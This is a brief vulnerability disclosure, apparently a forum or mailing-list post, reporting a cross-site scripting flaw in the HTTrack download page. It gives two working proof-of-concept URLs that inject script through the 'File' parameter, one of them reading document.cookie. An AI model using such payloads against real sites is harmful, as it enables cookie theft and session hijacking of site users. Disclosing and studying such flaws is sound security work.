Hi, I found a xss on their website ..

Patch: <http://download.httrack.com/cserv.php3?File>=

Example:
<http://download.httrack.com/cserv.php3?File="><script>alert(document.cookie);</script>>;

Example:  <http://download.httrack.com/cserv.php3?File="><script>alert(">; i am a
bug ");</script>